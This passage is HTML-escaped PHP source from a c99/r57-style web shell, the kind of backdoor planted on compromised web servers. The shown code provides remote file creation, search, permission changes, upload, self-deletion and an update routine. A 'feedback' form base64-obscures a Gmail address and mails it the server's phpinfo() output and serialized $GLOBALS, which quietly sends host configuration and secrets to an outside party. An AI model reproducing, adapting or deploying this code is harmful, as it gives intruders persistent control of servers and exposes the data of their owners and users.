  elseif (!fopen($mkfile,&amp;quot;w&amp;quot;)) {echo &amp;quot;&amp;lt;b&amp;gt;Make File \&amp;quot;&amp;quot;.htmlspecialchars($mkfile).&amp;quot;\&amp;quot;&amp;lt;/b&amp;gt;: access denied&amp;quot;;}&lt;br /&gt;
  else {$act = &amp;quot;f&amp;quot;; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}&lt;br /&gt;
 }&lt;br /&gt;
 else {$act = $dspact = &amp;quot;ls&amp;quot;;}&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;encoder&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 echo &amp;quot;&amp;lt;script&amp;gt;function set_encoder_input(text) {document.forms.encoder.input.value = text;}&amp;lt;/script&amp;gt;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Encoder:&amp;lt;/b&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;form name=\&amp;quot;encoder\&amp;quot; action=\&amp;quot;&amp;quot;.$surl.&amp;quot;\&amp;quot; method=POST&amp;gt;&amp;lt;input type=hidden name=act value=encoder&amp;gt;&amp;lt;b&amp;gt;Input:&amp;lt;/b&amp;gt;&amp;lt;center&amp;gt;&amp;lt;textarea name=\&amp;quot;encoder_input\&amp;quot; id=\&amp;quot;input\&amp;quot; cols=50 rows=5&amp;gt;&amp;quot;.@htmlspecialchars($encoder_input).&amp;quot;&amp;lt;/textarea&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input type=submit value=\&amp;quot;calculate\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;b&amp;gt;Hashes&amp;lt;/b&amp;gt;:&amp;lt;br&amp;gt;&amp;lt;center&amp;gt;&amp;quot;;&lt;br /&gt;
 foreach(array(&amp;quot;md5&amp;quot;,&amp;quot;crypt&amp;quot;,&amp;quot;sha1&amp;quot;,&amp;quot;crc32&amp;quot;) as $v)&lt;br /&gt;
 {&lt;br /&gt;
  echo $v.&amp;quot; - &amp;lt;input type=text size=50 onFocus=\&amp;quot;this.select()\&amp;quot; onMouseover=\&amp;quot;this.select()\&amp;quot; onMouseout=\&amp;quot;this.select()\&amp;quot; value=\&amp;quot;&amp;quot;.$v($encoder_input).&amp;quot;\&amp;quot; readonly&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
 echo &amp;quot;&amp;lt;/center&amp;gt;&amp;lt;b&amp;gt;Url:&amp;lt;/b&amp;gt;&amp;lt;center&amp;gt;&amp;lt;br&amp;gt;urlencode - &amp;lt;input type=text size=35 onFocus=\&amp;quot;this.select()\&amp;quot; onMouseover=\&amp;quot;this.select()\&amp;quot; onMouseout=\&amp;quot;this.select()\&amp;quot; value=\&amp;quot;&amp;quot;.urlencode($encoder_input).&amp;quot;\&amp;quot; readonly&amp;gt;&lt;br /&gt;
 &amp;lt;br&amp;gt;urldecode - &amp;lt;input type=text size=35 onFocus=\&amp;quot;this.select()\&amp;quot; onMouseover=\&amp;quot;this.select()\&amp;quot; onMouseout=\&amp;quot;this.select()\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars(urldecode($encoder_input)).&amp;quot;\&amp;quot; readonly&amp;gt;&lt;br /&gt;
 &amp;lt;br&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;b&amp;gt;Base64:&amp;lt;/b&amp;gt;&amp;lt;center&amp;gt;base64_encode - &amp;lt;input type=text size=35 onFocus=\&amp;quot;this.select()\&amp;quot; onMouseover=\&amp;quot;this.select()\&amp;quot; onMouseout=\&amp;quot;this.select()\&amp;quot; value=\&amp;quot;&amp;quot;.base64_encode($encoder_input).&amp;quot;\&amp;quot; readonly&amp;gt;&amp;lt;/center&amp;gt;&amp;quot;;&lt;br /&gt;
 echo &amp;quot;&amp;lt;center&amp;gt;base64_decode - &amp;quot;;&lt;br /&gt;
 if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo &amp;quot;&amp;lt;input type=text size=35 value=\&amp;quot;failed\&amp;quot; disabled readonly&amp;gt;&amp;quot;;}&lt;br /&gt;
 else&lt;br /&gt;
 {&lt;br /&gt;
  $debase64 = base64_decode($encoder_input);&lt;br /&gt;
  $debase64 = str_replace(&amp;quot;\0&amp;quot;,&amp;quot;[0]&amp;quot;,$debase64);&lt;br /&gt;
  $a = explode(&amp;quot;\r\n&amp;quot;,$debase64);&lt;br /&gt;
  $rows = count($a);&lt;br /&gt;
  $debase64 = htmlspecialchars($debase64);&lt;br /&gt;
  if ($rows == 1) {echo &amp;quot;&amp;lt;input type=text size=35 onFocus=\&amp;quot;this.select()\&amp;quot; onMouseover=\&amp;quot;this.select()\&amp;quot; onMouseout=\&amp;quot;this.select()\&amp;quot; value=\&amp;quot;&amp;quot;.$debase64.&amp;quot;\&amp;quot; id=\&amp;quot;debase64\&amp;quot; readonly&amp;gt;&amp;quot;;}&lt;br /&gt;
  else {$rows++; echo &amp;quot;&amp;lt;textarea cols=\&amp;quot;40\&amp;quot; rows=\&amp;quot;&amp;quot;.$rows.&amp;quot;\&amp;quot; onFocus=\&amp;quot;this.select()\&amp;quot; onMouseover=\&amp;quot;this.select()\&amp;quot; onMouseout=\&amp;quot;this.select()\&amp;quot; id=\&amp;quot;debase64\&amp;quot; readonly&amp;gt;&amp;quot;.$debase64.&amp;quot;&amp;lt;/textarea&amp;gt;&amp;quot;;}&lt;br /&gt;
  echo &amp;quot;&amp;amp;nbsp;&amp;lt;a href=\&amp;quot;#\&amp;quot; onclick=\&amp;quot;set_encoder_input(document.forms.encoder.debase64.value)\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;^&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
 echo &amp;quot;&amp;lt;/center&amp;gt;&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Base convertations&amp;lt;/b&amp;gt;:&amp;lt;center&amp;gt;dec2hex - &amp;lt;input type=text size=35 onFocus=\&amp;quot;this.select()\&amp;quot; onMouseover=\&amp;quot;this.select()\&amp;quot; onMouseout=\&amp;quot;this.select()\&amp;quot; value=\&amp;quot;&amp;quot;;&lt;br /&gt;
 $c = strlen($encoder_input);&lt;br /&gt;
 for($i=0;$i&amp;lt;$c;$i++)&lt;br /&gt;
 {&lt;br /&gt;
  $hex = dechex(ord($encoder_input[$i]));&lt;br /&gt;
  if ($encoder_input[$i] == &amp;quot;&amp;amp;&amp;quot;) {echo $encoder_input[$i];}&lt;br /&gt;
  elseif ($encoder_input[$i] != &amp;quot;\\&amp;quot;) {echo &amp;quot;%&amp;quot;.$hex;}&lt;br /&gt;
 }&lt;br /&gt;
 echo &amp;quot;\&amp;quot; readonly&amp;gt;&amp;lt;br&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;/form&amp;gt;&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;fsbuff&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 $arr_copy = $sess_data[&amp;quot;copy&amp;quot;];&lt;br /&gt;
 $arr_cut = $sess_data[&amp;quot;cut&amp;quot;];&lt;br /&gt;
 $arr = array_merge($arr_copy,$arr_cut);&lt;br /&gt;
 if (count($arr) == 0) {echo &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Buffer is empty!&amp;lt;/b&amp;gt;&amp;lt;/center&amp;gt;&amp;quot;;}&lt;br /&gt;
 else {echo &amp;quot;&amp;lt;b&amp;gt;File-System buffer&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;quot;; $ls_arr = $arr; $disp_fullpath = TRUE; $act = &amp;quot;ls&amp;quot;;}&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;selfremove&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 if (($submit == $rndcode) and ($submit != &amp;quot;&amp;quot;))&lt;br /&gt;
 {&lt;br /&gt;
  if (unlink(__FILE__)) {@ob_clean(); echo &amp;quot;Thanks for using r57c99.com.Org&amp;quot;.$shver.&amp;quot;!&amp;quot;; k1r4exit(); }&lt;br /&gt;
  else {echo &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Can't delete &amp;quot;.__FILE__.&amp;quot;!&amp;lt;/b&amp;gt;&amp;lt;/center&amp;gt;&amp;quot;;}&lt;br /&gt;
 }&lt;br /&gt;
 else&lt;br /&gt;
 {&lt;br /&gt;
  if (!empty($rndcode)) {echo &amp;quot;&amp;lt;b&amp;gt;Error: incorrect confimation!&amp;lt;/b&amp;gt;&amp;quot;;}&lt;br /&gt;
  $rnd = rand(0,9).rand(0,9).rand(0,9);&lt;br /&gt;
  echo &amp;quot;&amp;lt;form action=\&amp;quot;&amp;quot;.$surl.&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=hidden name=act value=selfremove&amp;gt;&amp;lt;b&amp;gt;Self-remove: &amp;quot;.__FILE__.&amp;quot; &amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Are you sure?&amp;lt;br&amp;gt;For confirmation, enter \&amp;quot;&amp;quot;.$rnd.&amp;quot;\&amp;quot;&amp;lt;/b&amp;gt;:&amp;amp;nbsp;&amp;lt;input type=hidden name=rndcode value=\&amp;quot;&amp;quot;.$rnd.&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=text name=submit&amp;gt;&amp;amp;nbsp;&amp;lt;input type=submit value=\&amp;quot;YES\&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;update&amp;quot;) {$ret = k1r4_getupdate(!!$confirmupdate); echo &amp;quot;&amp;lt;b&amp;gt;&amp;quot;.$ret.&amp;quot;&amp;lt;/b&amp;gt;&amp;quot;; if (stristr($ret,&amp;quot;new version&amp;quot;)) {echo &amp;quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input type=button onclick=\&amp;quot;location.href='&amp;quot;.$surl.&amp;quot;act=update&amp;amp;confirmupdate=1';\&amp;quot; value=\&amp;quot;Update now\&amp;quot;&amp;gt;&amp;quot;;}}&lt;br /&gt;
if ($act == &amp;quot;feedback&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 $suppmail = base64_decode(&amp;quot;ZnJlZXNoZWxsNTEwQGdtYWlsLmNvbQ==&amp;quot;);&lt;br /&gt;
 if (!empty($submit))&lt;br /&gt;
 {&lt;br /&gt;
  $ticket = substr(md5(microtime()+rand(1,1000)),0,6);&lt;br /&gt;
  $body = &amp;quot;r57c99.com.Org&amp;quot;.$shver.&amp;quot; feedback #&amp;quot;.$ticket.&amp;quot;\nName: &amp;quot;.htmlspecialchars($fdbk_name).&amp;quot;\nE-mail: &amp;quot;.htmlspecialchars($fdbk_email).&amp;quot;\nMessage:\n&amp;quot;.htmlspecialchars($fdbk_body).&amp;quot;\n\nIP: &amp;quot;.$REMOTE_ADDR;&lt;br /&gt;
  if (!empty($fdbk_ref))&lt;br /&gt;
  {&lt;br /&gt;
   $tmp = @ob_get_contents();&lt;br /&gt;
   ob_clean();&lt;br /&gt;
   phpinfo();&lt;br /&gt;
   $phpinfo = base64_encode(ob_get_contents());&lt;br /&gt;
   ob_clean();&lt;br /&gt;
   echo $tmp;&lt;br /&gt;
   $body .= &amp;quot;\n&amp;quot;.&amp;quot;phpinfo(): &amp;quot;.$phpinfo.&amp;quot;\n&amp;quot;.&amp;quot;\$GLOBALS=&amp;quot;.base64_encode(serialize($GLOBALS)).&amp;quot;\n&amp;quot;;&lt;br /&gt;
  }&lt;br /&gt;
  mail($suppmail,&amp;quot;r57c99.com.org&amp;quot;.$shver.&amp;quot; feedback #&amp;quot;.$ticket,$body,&amp;quot;FROM: &amp;quot;.$suppmail);&lt;br /&gt;
  echo &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Thanks for your feedback! Your ticket ID: &amp;quot;.$ticket.&amp;quot;.&amp;lt;/b&amp;gt;&amp;lt;/center&amp;gt;&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
 else {echo &amp;quot;&amp;lt;form action=\&amp;quot;&amp;quot;.$surl.&amp;quot;\&amp;quot; method=POST&amp;gt;&amp;lt;input type=hidden name=act value=feedback&amp;gt;&amp;lt;b&amp;gt;Feedback or report bug (&amp;quot;.str_replace(array(&amp;quot;@&amp;quot;,&amp;quot;.&amp;quot;),array(&amp;quot;[at]&amp;quot;,&amp;quot;[dot]&amp;quot;),$suppmail).&amp;quot;):&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;Your name: &amp;lt;input type=\&amp;quot;text\&amp;quot; name=\&amp;quot;fdbk_name\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($fdbk_name).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;Your e-mail: &amp;lt;input type=\&amp;quot;text\&amp;quot; name=\&amp;quot;fdbk_email\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($fdbk_email).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;Message:&amp;lt;br&amp;gt;&amp;lt;textarea name=\&amp;quot;fdbk_body\&amp;quot; cols=80 rows=10&amp;gt;&amp;quot;.htmlspecialchars($fdbk_body).&amp;quot;&amp;lt;/textarea&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;fdbk_ref\&amp;quot; value=\&amp;quot;&amp;quot;.urlencode($HTTP_REFERER).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;Attach server-info * &amp;lt;input type=\&amp;quot;checkbox\&amp;quot; name=\&amp;quot;fdbk_servinf\&amp;quot; value=\&amp;quot;1\&amp;quot; checked&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;There are no checking in the form.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;* - strongly recommended, if you report bug, because we need it for bug-fix.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;We understand languages: English, Russian.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input type=\&amp;quot;submit\&amp;quot; name=\&amp;quot;submit\&amp;quot; value=\&amp;quot;Send\&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;quot;;}&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;search&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 echo &amp;quot;&amp;lt;b&amp;gt;Search in file-system:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
 if (empty($search_in)) {$search_in = $d;}&lt;br /&gt;
 if (empty($search_name)) {$search_name = &amp;quot;(.*)&amp;quot;; $search_name_regexp = 1;}&lt;br /&gt;
 if (empty($search_text_wwo)) {$search_text_regexp = 0;}&lt;br /&gt;
 if (!empty($submit))&lt;br /&gt;
 {&lt;br /&gt;
  $found = array();&lt;br /&gt;
  $found_d = 0;&lt;br /&gt;
  $found_f = 0;&lt;br /&gt;
  $search_i_f = 0;&lt;br /&gt;
  $search_i_d = 0;&lt;br /&gt;
  $a = array&lt;br /&gt;
  (&lt;br /&gt;
   &amp;quot;name&amp;quot;=&amp;gt;$search_name, &amp;quot;name_regexp&amp;quot;=&amp;gt;$search_name_regexp,&lt;br /&gt;
   &amp;quot;text&amp;quot;=&amp;gt;$search_text, &amp;quot;text_regexp&amp;quot;=&amp;gt;$search_text_regxp,&lt;br /&gt;
   &amp;quot;text_wwo&amp;quot;=&amp;gt;$search_text_wwo,&lt;br /&gt;
   &amp;quot;text_cs&amp;quot;=&amp;gt;$search_text_cs,&lt;br /&gt;
   &amp;quot;text_not&amp;quot;=&amp;gt;$search_text_not&lt;br /&gt;
  );&lt;br /&gt;
  $searchtime = getmicrotime();&lt;br /&gt;
  $in = array_unique(explode(&amp;quot;;&amp;quot;,$search_in));&lt;br /&gt;
  foreach($in as $v) {k1r4fsearch($v);}&lt;br /&gt;
  $searchtime = round(getmicrotime()-$searchtime,4);&lt;br /&gt;
  if (count($found) == 0) {echo &amp;quot;&amp;lt;b&amp;gt;No files found!&amp;lt;/b&amp;gt;&amp;quot;;}&lt;br /&gt;
  else&lt;br /&gt;
  {&lt;br /&gt;
   $ls_arr = $found;&lt;br /&gt;
   $disp_fullpath = TRUE;&lt;br /&gt;
   $act = &amp;quot;ls&amp;quot;;&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
 echo &amp;quot;&amp;lt;form method=POST&amp;gt;&lt;br /&gt;
&amp;lt;input type=hidden name=\&amp;quot;d\&amp;quot; value=\&amp;quot;&amp;quot;.$dispd.&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=hidden name=act value=\&amp;quot;&amp;quot;.$dspact.&amp;quot;\&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;Search for (file/folder name): &amp;lt;/b&amp;gt;&amp;lt;input type=\&amp;quot;text\&amp;quot; name=\&amp;quot;search_name\&amp;quot; size=\&amp;quot;&amp;quot;.round(strlen($search_name)+25).&amp;quot;\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($search_name).&amp;quot;\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;checkbox\&amp;quot; name=\&amp;quot;search_name_regexp\&amp;quot; value=\&amp;quot;1\&amp;quot; &amp;quot;.($search_name_regexp == 1?&amp;quot; checked&amp;quot;:&amp;quot;&amp;quot;).&amp;quot;&amp;gt; - regexp&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Search in (explode \&amp;quot;;\&amp;quot;): &amp;lt;/b&amp;gt;&amp;lt;input type=\&amp;quot;text\&amp;quot; name=\&amp;quot;search_in\&amp;quot; size=\&amp;quot;&amp;quot;.round(strlen($search_in)+25).&amp;quot;\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($search_in).&amp;quot;\&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Text:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;textarea name=\&amp;quot;search_text\&amp;quot; cols=\&amp;quot;122\&amp;quot; rows=\&amp;quot;10\&amp;quot;&amp;gt;&amp;quot;.htmlspecialchars($search_text).&amp;quot;&amp;lt;/textarea&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input type=\&amp;quot;checkbox\&amp;quot; name=\&amp;quot;search_text_regexp\&amp;quot; value=\&amp;quot;1\&amp;quot; &amp;quot;.($search_text_regexp == 1?&amp;quot; checked&amp;quot;:&amp;quot;&amp;quot;).&amp;quot;&amp;gt; - regexp&lt;br /&gt;
&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;checkbox\&amp;quot; name=\&amp;quot;search_text_wwo\&amp;quot; value=\&amp;quot;1\&amp;quot; &amp;quot;.($search_text_wwo == 1?&amp;quot; checked&amp;quot;:&amp;quot;&amp;quot;).&amp;quot;&amp;gt; - &amp;lt;u&amp;gt;w&amp;lt;/u&amp;gt;hole words only&lt;br /&gt;
&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;checkbox\&amp;quot; name=\&amp;quot;search_text_cs\&amp;quot; value=\&amp;quot;1\&amp;quot; &amp;quot;.($search_text_cs == 1?&amp;quot; checked&amp;quot;:&amp;quot;&amp;quot;).&amp;quot;&amp;gt; - cas&amp;lt;u&amp;gt;e&amp;lt;/u&amp;gt; sensitive&lt;br /&gt;
&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;checkbox\&amp;quot; name=\&amp;quot;search_text_not\&amp;quot; value=\&amp;quot;1\&amp;quot; &amp;quot;.($search_text_not == 1?&amp;quot; checked&amp;quot;:&amp;quot;&amp;quot;).&amp;quot;&amp;gt; - find files &amp;lt;u&amp;gt;NOT&amp;lt;/u&amp;gt; containing the text&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input type=submit name=submit value=\&amp;quot;Search\&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;quot;;&lt;br /&gt;
 if ($act == &amp;quot;ls&amp;quot;) {$dspact = $act; echo &amp;quot;&amp;lt;hr size=\&amp;quot;1\&amp;quot; noshade&amp;gt;&amp;lt;b&amp;gt;Search took &amp;quot;.$searchtime.&amp;quot; secs (&amp;quot;.$search_i_f.&amp;quot; files and &amp;quot;.$search_i_d.&amp;quot; folders, &amp;quot;.round(($search_i_f+$search_i_d)/$searchtime,4).&amp;quot; objects per second).&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;chmod&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 $mode = fileperms($d.$f);&lt;br /&gt;
 if (!$mode) {echo &amp;quot;&amp;lt;b&amp;gt;Change file-mode with error:&amp;lt;/b&amp;gt; can't get current value.&amp;quot;;}&lt;br /&gt;
 else&lt;br /&gt;
 {&lt;br /&gt;
  $form = TRUE;&lt;br /&gt;
  if ($chmod_submit)&lt;br /&gt;
  {&lt;br /&gt;
   $octet = &amp;quot;0&amp;quot;.base_convert(($chmod_o[&amp;quot;r&amp;quot;]?1:0).($chmod_o[&amp;quot;w&amp;quot;]?1:0).($chmod_o[&amp;quot;x&amp;quot;]?1:0).($chmod_g[&amp;quot;r&amp;quot;]?1:0).($chmod_g[&amp;quot;w&amp;quot;]?1:0).($chmod_g[&amp;quot;x&amp;quot;]?1:0).($chmod_w[&amp;quot;r&amp;quot;]?1:0).($chmod_w[&amp;quot;w&amp;quot;]?1:0).($chmod_w[&amp;quot;x&amp;quot;]?1:0),2,8);&lt;br /&gt;
   if (chmod($d.$f,$octet)) {$act = &amp;quot;ls&amp;quot;; $form = FALSE; $err = &amp;quot;&amp;quot;;}&lt;br /&gt;
   else {$err = &amp;quot;Can't chmod to &amp;quot;.$octet.&amp;quot;.&amp;quot;;}&lt;br /&gt;
  }&lt;br /&gt;
  if ($form)&lt;br /&gt;
  {&lt;br /&gt;
   $perms = parse_perms($mode);&lt;br /&gt;
   echo &amp;quot;&amp;lt;b&amp;gt;Changing file-mode (&amp;quot;.$d.$f.&amp;quot;), &amp;quot;.view_perms_color($d.$f).&amp;quot; (&amp;quot;.substr(decoct(fileperms($d.$f)),-4,4).&amp;quot;)&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;.($err?&amp;quot;&amp;lt;b&amp;gt;Error:&amp;lt;/b&amp;gt; &amp;quot;.$err:&amp;quot;&amp;quot;).&amp;quot;&amp;lt;form action=\&amp;quot;&amp;quot;.$surl.&amp;quot;\&amp;quot; method=POST&amp;gt;&amp;lt;input type=hidden name=d value=\&amp;quot;&amp;quot;.htmlspecialchars($d).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=hidden name=f value=\&amp;quot;&amp;quot;.htmlspecialchars($f).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=hidden name=act value=chmod&amp;gt;&amp;lt;table align=left width=300 border=0 cellspacing=0 cellpadding=5&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Owner&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input type=checkbox NAME=chmod_o[r] value=1&amp;quot;.($perms[&amp;quot;o&amp;quot;][&amp;quot;r&amp;quot;]?&amp;quot; checked&amp;quot;:&amp;quot;&amp;quot;).&amp;quot;&amp;gt;&amp;amp;nbsp;Read&amp;lt;br&amp;gt;&amp;lt;input type=checkbox name=chmod_o[w] value=1&amp;quot;.($perms[&amp;quot;o&amp;quot;][&amp;quot;w&amp;quot;]?&amp;quot; checked&amp;quot;:&amp;quot;&amp;quot;).&amp;quot;&amp;gt;&amp;amp;nbsp;Write&amp;lt;br&amp;gt;&amp;lt;input type=checkbox NAME=chmod_o[x] value=1&amp;quot;.($perms[&amp;quot;o&amp;quot;][&amp;quot;x&amp;quot;]?&amp;quot; checked&amp;quot;:&amp;quot;&amp;quot;).&amp;quot;&amp;gt;eXecute&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Group&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input type=checkbox NAME=chmod_g[r] value=1&amp;quot;.($perms[&amp;quot;g&amp;quot;][&amp;quot;r&amp;quot;]?&amp;quot; checked&amp;quot;:&amp;quot;&amp;quot;).&amp;quot;&amp;gt;&amp;amp;nbsp;Read&amp;lt;br&amp;gt;&amp;lt;input type=checkbox NAME=chmod_g[w] value=1&amp;quot;.($perms[&amp;quot;g&amp;quot;][&amp;quot;w&amp;quot;]?&amp;quot; checked&amp;quot;:&amp;quot;&amp;quot;).&amp;quot;&amp;gt;&amp;amp;nbsp;Write&amp;lt;br&amp;gt;&amp;lt;input type=checkbox NAME=chmod_g[x] value=1&amp;quot;.($perms[&amp;quot;g&amp;quot;][&amp;quot;x&amp;quot;]?&amp;quot; checked&amp;quot;:&amp;quot;&amp;quot;).&amp;quot;&amp;gt;eXecute&amp;lt;/font&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;World&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input type=checkbox NAME=chmod_w[r] value=1&amp;quot;.($perms[&amp;quot;w&amp;quot;][&amp;quot;r&amp;quot;]?&amp;quot; checked&amp;quot;:&amp;quot;&amp;quot;).&amp;quot;&amp;gt;&amp;amp;nbsp;Read&amp;lt;br&amp;gt;&amp;lt;input type=checkbox NAME=chmod_w[w] value=1&amp;quot;.($perms[&amp;quot;w&amp;quot;][&amp;quot;w&amp;quot;]?&amp;quot; checked&amp;quot;:&amp;quot;&amp;quot;).&amp;quot;&amp;gt;&amp;amp;nbsp;Write&amp;lt;br&amp;gt;&amp;lt;input type=checkbox NAME=chmod_w[x] value=1&amp;quot;.($perms[&amp;quot;w&amp;quot;][&amp;quot;x&amp;quot;]?&amp;quot; checked&amp;quot;:&amp;quot;&amp;quot;).&amp;quot;&amp;gt;eXecute&amp;lt;/font&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input type=submit name=chmod_submit value=\&amp;quot;Save\&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;/form&amp;gt;&amp;quot;;&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;upload&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 $uploadmess = &amp;quot;&amp;quot;;&lt;br /&gt;
 $uploadpath = str_replace(&amp;quot;\\&amp;quot;,DIRECTORY_SEPARATOR,$uploadpath);&lt;br /&gt;
 if (empty($uploadpath)) {$uploadpath = $d;}&lt;br /&gt;
 elseif (substr($uploadpath,-1) != &amp;quot;/&amp;quot;) {$uploadpath .= &amp;quot;/&amp;quot;;}&lt;br /&gt;
 if (!empty($submit))&lt;br /&gt;
 {&lt;br /&gt;
  global $HTTP_POST_FILES;&lt;br /&gt;
  $uploadfile = $HTTP_POST_FILES[&amp;quot;uploadfile&amp;quot;];&lt;br /&gt;
  if (!empty($uploadfile[&amp;quot;tmp_name&amp;quot;]))&lt;br /&gt;
  {&lt;br /&gt;
   if (empty($uploadfilename)) {$destin = $uploadfile[&amp;quot;name&amp;quot;];}&lt;br /&gt;
   else {$destin = $userfilename;}&lt;br /&gt;
   if (!move_uploaded_file($uploadfile[&amp;quot;tmp_name&amp;quot;],$uploadpath.$destin)) {$uploadmess .= &amp;quot;Error uploading file &amp;quot;.$uploadfile[&amp;quot;name&amp;quot;].&amp;quot; (can't copy \&amp;quot;&amp;quot;.$uploadfile[&amp;quot;tmp_name&amp;quot;].&amp;quot;\&amp;quot; to \&amp;quot;&amp;quot;.$uploadpath.$destin.&amp;quot;\&amp;quot;!&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
  }&lt;br /&gt;
  elseif (!empty($uploadurl))&lt;br /&gt;
  {&lt;br /&gt;
   if (!empty($uploadfilename)) {$destin = $uploadfilename;}&lt;br /&gt;
   else&lt;br /&gt;
   {&lt;br /&gt;
    $destin = explode(&amp;quot;/&amp;quot;,$destin);&lt;br /&gt;
    $destin = $destin[count($destin)-1];&lt;br /&gt;
    if (empty($destin))&lt;br /&gt;
    {&lt;br /&gt;
     $i = 0;&lt;br /&gt;
     $b = &amp;quot;&amp;quot;;&lt;br /&gt;
     while(file_exists($uploadpath.$destin)) {if ($i &amp;gt; 0) {$b = &amp;quot;_&amp;quot;.$i;} $destin = &amp;quot;index&amp;quot;.$b.&amp;quot;.html&amp;quot;; $i++;}}&lt;br /&gt;
   }&lt;br /&gt;
